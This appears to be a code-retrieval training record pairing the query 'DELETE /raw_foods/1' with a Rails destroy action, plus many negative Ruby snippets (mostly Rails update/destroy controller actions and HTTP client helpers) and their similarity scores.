"def update\n respond_to do |format|\n if @recipes_food.update(recipes_food_params)\n format.html { redirect_to @recipes_food, notice: 'Recipes food was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipes_food }\n else\n format.html { render :edit }\n format.json { render json: @recipes_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n animal = Animal.find(params[:id])\n\n if validate_params(animal_params)\n animal.update(animal_params)\n render json: animal, status: 200, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @fast_food.update(fast_food_params)\n format.html { redirect_to @fast_food, notice: 'Fast food was successfully updated.' }\n format.json { render :show, status: :ok, location: @fast_food }\n else\n format.html { render :edit }\n format.json { render json: @fast_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end",
"def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @spoofer = Spoofer.find(params[:id])\n\n respond_to do |format|\n if @spoofer.update_attributes(params[:spoofer])\n format.html { redirect_to @spoofer, notice: 'Spoofer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spoofer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food_recipe = FoodRecipe.find(params[:id])\n\n respond_to do |format|\n if @food_recipe.update_attributes(params[:food_recipe])\n format.html { redirect_to @food_recipe, notice: 'Food recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food_recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n begin\n recipe = Recipe.find(params[:id])\n\n if recipe.update_attributes(recipe_params)\n render json: { status: 'SUCCESS', message: 'Recipe updated!', data: recipe }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Error updating recipe', data: recipe.errors }, status: :unprocessable_entity\n end\n rescue\n render json: { status: 'ERROR', message: 'Error finding recipe', data: {} }, status: :not_found\n end\n end",
"def update\n @foam = Foam.find(params[:id])\n\n respond_to do |format|\n if @foam.update_attributes(params[:foam])\n format.html { redirect_to @foam, notice: 'Foam was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foam.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'FOAF was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n respond_to do |format|\n # if food is passed, won't check it again.\n if @food.state == 1\n state = 1 \n else\n state = 0\n end\n\n if @food.update(food_params.merge state: state) # 1 means valid\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food.update(food_params)\n\n puts name = get_barcode_info(@food.picture.path.to_s)\n\n @food.update!(:name => name)\n\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n params[:recipe][:ingredient_ids] ||= []\n @recipe = Recipe.find(params[:id])\n\n respond_to do |format|\n if @recipe.update_attributes(params[:recipe])\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(attributes: {})\n attributes = attributes.with_indifferent_access\n clean_attributes(attributes)\n titleize(attributes)\n sync_tags(attributes)\n parse_ingredients(attributes)\n recipe.update(attributes)\n recipe_response\n rescue StandardError => e\n error_response(e)\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'Foaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @animal.update(animal_params)\n respond_with(@shelter)\n end",
"def update(id, attributes)\n # attributes = {name: 'chocolate and peanuts', calories: 10}\nend",
"def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update_radios_for_array(args = {}) \n put(\"/radios.json/#{args[:arrayId]}\", args)\nend",
"def update\n respond_to do |format|\n if @food_truck.update(food_truck_params)\n format.html { redirect_to @food_truck, notice: 'Food truck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @food_truck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n #@recipe.ingredients = params[:recipe_ingredients].map {|k, v|\n #ingredient = @recipe.ingredients.find(k) || @recipe.ingredients.build\n #ingredient.update_attributes(:item => Food.find(v[:item_id]), :quantity => v[:quantity]) unless v[:item_id].blank?\n #ingredient\n #}.compact if params[:ingredients]\n\n @recipe.tags = params[:tags].split(/,/).map { |t|\n Tag.find_or_create_by_name(t.strip.downcase)\n }.compact if params[:tags]\n\n respond_to do |format|\n if @recipe.update_attributes(params[:recipe])\n format.html { redirect_to @recipe }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n put :update\n end",
"def update\n # respond_to do |format|\n # if @thing.update(thing_params)\n # format.html { redirect_to @thing, notice: 'Thing was successfully updated.' }\n # format.json { render :show, status: :ok, location: @thing }\n # else\n # format.html { render :edit }\n # format.json { render json: @thing.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update\n respond_to do |format|\n if @pet_true.update(pet_true_params)\n format.html { redirect_to @pet_true, notice: 'Pet true was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pet_true.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to @food, notice: \"Piatto aggiornato correttamente.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @foo83.update(foo83_params)\n format.html { redirect_to @foo83, notice: \"Foo83 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @foo83 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @foo83.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def update\n do_patch { return } # check if patch and do submission and return early if it is a patch (submission)\n # otherwise this is a PUT of the dataset metadata\n check_status { return } # check it's in progress, clone a submitted or raise an error\n respond_to do |format|\n format.json do\n dp = if @resource\n DatasetParser.new(hash: params['dataset'], id: @resource.identifier, user: @user) # update dataset\n else\n DatasetParser.new(hash: params['dataset'], user: @user, id_string: params[:id]) # upsert dataset with identifier\n end\n @stash_identifier = dp.parse\n ds = Dataset.new(identifier: @stash_identifier.to_s) # sets up display objects\n render json: ds.metadata, status: 200\n end\n end\n end",
"def update\n @foo = Foo.find(params[:id])\n\n respond_to do |format|\n if @foo.update_attributes(params[:foo])\n format.html { redirect_to @foo, notice: 'Foo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @recipe.update(recipe_params)\n params[:recipe][:ingredients].each do |ingredient_id|\n next if ingredient_id.to_i == 0\n ingredient = Ingredient.find(ingredient_id.to_i)\n @recipe.ingredients << ingredient\n end\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n dream = Dream.find params[:id]\n dream.update dream_params\n render json: {dream: dream}\n end",
"def update\n @todo = Todo.find(params[:id])\n if @todo.update(todo_params)\n render json: @todo\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end",
"def update\n @thing = Thing.find(params[:id])\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to things_path, notice: 'Your thing was successfully updated!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n respond_to do |format|\n if @my_foo.update(my_foo_params)\n format.html { redirect_to @my_foo, notice: 'My foo was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_foo }\n else\n format.html { render :edit }\n format.json { render json: @my_foo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @foo78.update(foo78_params)\n format.html { redirect_to @foo78, notice: \"Foo78 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @foo78 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @foo78.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fucker = Fucker.find(params[:id])\n\n respond_to do |format|\n if @fucker.update_attributes(params[:fucker])\n format.json { head :no_content }\n else\n format.json { render json: @fucker.errors, status: :internal_server_error }\n end\n end\n end",
"def update\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n\n respond_to do |format|\n if @status.update_attributes(params[:roof_status])\n format.html { redirect_to @roof, notice: 'Status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #if you query the Recipe db by the id, and the id is present then...\n if (@single_recipe_to_update = Recipe.find_by_id(params[:id])).present?\n # ... run the recipe_params function within the update function. it takes the input values from recipe_params and\n # updates that information the db\n @single_recipe_to_update.update(recipe_params)\n render :json => {\n :response => \"Successfully updated recipe.\",\n :data => @single_recipe_to_update # return the recipe with updated info\n }\n else\n render :json => {\n :response => \"Cannot find this record.\"\n }\n end\n end",
"def partial_update(klass, id, patchset, options = {}, format = nil)\n headers = {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n options = { resource: klass, id: id, format: format}.merge options\n if [FHIR::Formats::ResourceFormat::RESOURCE_XML, FHIR::Formats::ResourceFormat::RESOURCE_XML_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_XML\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_XML}\"\n elsif [FHIR::Formats::ResourceFormat::RESOURCE_JSON, FHIR::Formats::ResourceFormat::RESOURCE_JSON_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_JSON\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_JSON}\"\n end\n headers[:prefer] = @return_preference if @use_return_preference\n reply = patch resource_url(options), patchset, fhir_headers(headers)\n reply.resource = parse_reply(klass, format, reply)\n reply.resource_class = klass\n reply\n end",
"def update\n respond_to do |format|\n if @foo73.update(foo73_params)\n format.html { redirect_to @foo73, notice: \"Foo73 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @foo73 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @foo73.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n conn = @client.authorized_connection(url: @client.object_api_url)\n res = conn.patch do |req|\n req.headers['Content-Type'] = \"application/json\"\n req.url resource_uri\n req.body = raw.to_json\n end\n if res.success?\n data = JSON.parse(res.body)\n self.class.new(data, @client)\n else\n nil\n end\n end",
"def update\n respond_to do |format|\n if @foo.update(foo_params)\n format.html { redirect_to @foo, notice: 'Foo was successfully updated.' }\n format.json { render :show, status: :ok, location: @foo }\n else\n format.html { render :edit }\n format.json { render json: @foo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update(id: nil, body: nil)\n perform(:put, \"#{@resource_type}/#{id}\", body)\n end",
"def update\n respond_to do |format|\n if @foo8.update(foo8_params)\n format.html { redirect_to @foo8, notice: \"Foo8 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @foo8 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @foo8.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @thing = Thing.find(params[:id])\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to @thing, notice: 'Thing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fooditem = Fooditem.find(params[:id])\n\n respond_to do |format|\n if @fooditem.update_attributes(params[:fooditem])\n format.html { redirect_to @fooditem, :notice => 'Fooditem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @fooditem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @starred = args[:starred] if args.key?(:starred)\n @type = args[:type] if args.key?(:type)\n end",
"def update\n @foobar = Foobar.find(params[:id])\n\n respond_to do |format|\n if @foobar.update_attributes(params[:foobar])\n format.html { redirect_to @foobar, notice: 'Foobar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foobar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n format.json { render json: { status: :not_implemented } }\n end\n end",
"def update\n respond_to do |format|\n if @foo1.update(foo1_params)\n format.html { redirect_to @foo1, notice: \"Foo1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @foo1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @foo1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @foo88.update(foo88_params)\n format.html { redirect_to @foo88, notice: \"Foo88 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @foo88 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @foo88.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wing.update(wing_params)\n @wing.floors.each { |f| f.touch }\n format.html { redirect_to @wing, notice: t('.update_ok', item: @wing.name) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n update_recipe_line_items\n if @recipe.update(recipe_params)\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n format.html { render :edit }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @foo34.update(foo34_params)\n format.html { redirect_to @foo34, notice: \"Foo34 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @foo34 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @foo34.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clothing.update(clothing_params)\n format.html { redirect_to @clothing, notice: 'Clothing was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing }\n else\n format.html { render :edit }\n format.json { render json: @clothing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @recipe.update(recipe_params)\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flat_happening = FlatHappening.find(params[:id])\n\n if @flat_happening.update_attributes(params[:flat_happening])\n head :no_content\n else\n render json: @flat_happening.errors, status: :unprocessable_entity\n end\n end",
"def update\n @fixture = Fixture.find(params[:id])\n\n respond_to do |format|\n if @fixture.update_attributes(fixture_params)\n format.json { head :no_content }\n else\n format.json { render json: @fixture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @animal_food.update(animal_food_params)\n format.html { redirect_to @animal_food, notice: \"Animal food was successfully updated.\" }\n format.json { render :show, status: :ok, location: @animal_food }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @animal_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @foo77.update(foo77_params)\n format.html { redirect_to @foo77, notice: \"Foo77 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @foo77 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @foo77.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n save_relations\n if @recipe.update(recipe_params)\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n format.html { render :edit }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @familiar = Familiar.find(params[:id])\n\n respond_to do |format|\n if @familiar.update_attributes(params[:familiar])\n format.html { redirect_to @familiar, notice: 'Familiar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @familiar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fascicle.update(fascicle_params)\n format.html { redirect_to @fascicle, notice: 'Fascicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fascicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @foo56.update(foo56_params)\n format.html { redirect_to @foo56, notice: \"Foo56 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @foo56 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @foo56.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @raw = args[:raw] if args.key?(:raw)\n end",
"def update\n \n \n respond_to do |format|\n updated_params = song_params\n if (@song.artist != song_params[:artist] || @song.songname != song_params[:songname])\n uri = 'http://developer.echonest.com/api/v4/song/search?api_key=6XUOAXHJOW28GGGRH&format=json&results=1&artist=' + Rack::Utils.escape(song_params[:artist]) + '&title=' + Rack::Utils.escape(song_params[:songname]) + '&bucket=audio_summary'\n result = open(uri).read\n parsed = JSON.parse(result)\n if parsed[\"response\"][\"songs\"].length > 0\n updated_params[:bpm] = parsed[\"response\"][\"songs\"][0][\"audio_summary\"][\"tempo\"]\n updated_params[:key] = parsed[\"response\"][\"songs\"][0][\"audio_summary\"][\"key\"]\n notice = \"Song found on EchoNest!\"\n else\n notice = \"Could not find updated song on EchoNest.\"\n end\n \n end\n if @song.update(updated_params)\n format.html { redirect_to @song, notice: \"#{notice} #{updated_params} \" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @recipe.update(recipe_params)\n calculate_nutrients \n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @campus_food = CampusFood.find(params[:id])\n\t@campus_food.location = params[:tags]\n respond_to do |format|\n if @campus_food.update_attributes(params[:campus_food])\n format.html { redirect_to campus_foods_path, notice: 'Campus food was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @campus_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n save_relations\n if @ingredient.update(ingredient_params)\n format.html { redirect_to @ingredient.recipe, notice: 'Ingredient was successfully updated.' }\n format.json { render :show, status: :ok, location: @ingredient }\n else\n format.html { render :edit }\n format.json { render json: @ingredient.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # @recipe = Recipe.find(params[:id])\n #\n update! do |success, failure|\n # success.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n # success.json { head :ok }\n # failure.html { render action: \"edit\" }\n # failure.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end",
"def update!(**args)\n @errors = args[:errors] if args.key?(:errors)\n @etag = args[:etag] if args.key?(:etag)\n @items = args[:items] if args.key?(:items)\n @kind = args[:kind] if args.key?(:kind)\n end",
"def update\n @thing = Thing.find(params[:id])\n params[:thing][:place_id] = place_id_from_form\n params[:thing][:owner_ids] = [ ] if params[:thing][:owner_ids].nil?\n params[:thing][:keeper_ids] = [ ] if params[:thing][:keeper_ids].nil?\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to(@thing, :notice => 'Thing was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @thing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @treq = Treq.find(params[:id])\n\n respond_to do |format|\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n if @treq.update_attributes(params[:treq])\n format.html { redirect_to @treq, notice: 'Treq was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food.build_image(params['image']) do |t|\n if params['food']['image']['data']\n t.data = Base64.encode64(params['food']['image']['data'].read)\n t.filename = params['food']['image']['data'].original_filename\n t.mime_type = params['food']['image']['data'].content_type\n end\n end \n @food.name = @food.name.capitalize\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food_note.update(food_note_params)\n format.html { redirect_to @food_note, notice: \"Food note was successfully updated.\" }\n format.json { render :show, status: :ok, location: @food_note }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @food_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n relationship = Relationships.find(params[:id])\n if relationship.update(relationship_params)\n render json: relationship, status: 200\n else\n render json: { errors: relationship.errors }, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @food_event.update(food_event_params)\n format.html { redirect_to @food_event, notice: 'Food event was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_event }\n else\n format.html { render :edit }\n format.json { render json: @food_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fred = Fred.find(params[:id])\n\n respond_to do |format|\n if @fred.update_attributes(params[:fred])\n format.html { redirect_to @fred, notice: 'Fred was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fred.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6269646",
"0.6135182",
"0.6102308",
"0.60302705",
"0.6026093",
"0.6010721",
"0.5987157",
"0.58914167",
"0.58581334",
"0.58580786",
"0.58523566",
"0.5844323",
"0.5838271",
"0.58190477",
"0.5804856",
"0.57876974",
"0.5785911",
"0.5782582",
"0.5778885",
"0.577814",
"0.5761568",
"0.57592386",
"0.57384336",
"0.57383955",
"0.57352114",
"0.57280314",
"0.57276976",
"0.57256293",
"0.57203335",
"0.5719127",
"0.5717296",
"0.57102334",
"0.57091683",
"0.56920695",
"0.5690235",
"0.5689531",
"0.56757003",
"0.567525",
"0.566433",
"0.5663625",
"0.5655422",
"0.5651748",
"0.56513625",
"0.5650236",
"0.56407136",
"0.5635505",
"0.56242466",
"0.56222945",
"0.5613804",
"0.561143",
"0.56109756",
"0.5603778",
"0.5597242",
"0.55968755",
"0.5592821",
"0.55772346",
"0.55741566",
"0.55728745",
"0.5572113",
"0.5568029",
"0.55671763",
"0.55647135",
"0.5563664",
"0.5557474",
"0.5556473",
"0.5554232",
"0.554468",
"0.5540261",
"0.55386895",
"0.5537338",
"0.5536674",
"0.55335224",
"0.55317247",
"0.5531494",
"0.5530442",
"0.55271506",
"0.55264664",
"0.55259943",
"0.5522171",
"0.5519095",
"0.55184174",
"0.55168855",
"0.551454",
"0.55114883",
"0.5508119",
"0.55075294",
"0.5503086",
"0.54981285",
"0.54952335",
"0.5492",
"0.5486434",
"0.54800767",
"0.54791594",
"0.54777706",
"0.5473628",
"0.5471866",
"0.5471247",
"0.5467927",
"0.54637843",
"0.5462804"
] |
0.59445083
|
7
|
DELETE /raw_foods/1 DELETE /raw_foods/1.json
|
def destroy
@raw_food.destroy
respond_to do |format|
format.html { redirect_to raw_foods_url, notice: 'Raw food was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @food_recipe = FoodRecipe.find(params[:id])\n @food_recipe.destroy\n\n respond_to do |format|\n format.html { redirect_to food_recipes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @recipes_food.destroy\n respond_to do |format|\n format.html { redirect_to recipes_foods_url, notice: 'Recipes food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fridge_food = FridgeFood.find(params[:id])\n @fridge_food.destroy\n\n respond_to do |format|\n format.html { redirect_to(fridge_foods_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @fast_food.destroy\n respond_to do |format|\n format.html { redirect_to fast_foods_url, notice: 'Fast food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @favourite_food = FavouriteFood.find(params[:id])\n @favourite_food.destroy\n\n respond_to do |format|\n format.html { redirect_to favourite_foods_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fooditem = Fooditem.find(params[:id])\n @fooditem.destroy\n\n respond_to do |format|\n format.html { redirect_to fooditems_url }\n format.json { head :no_content }\n end\n end",
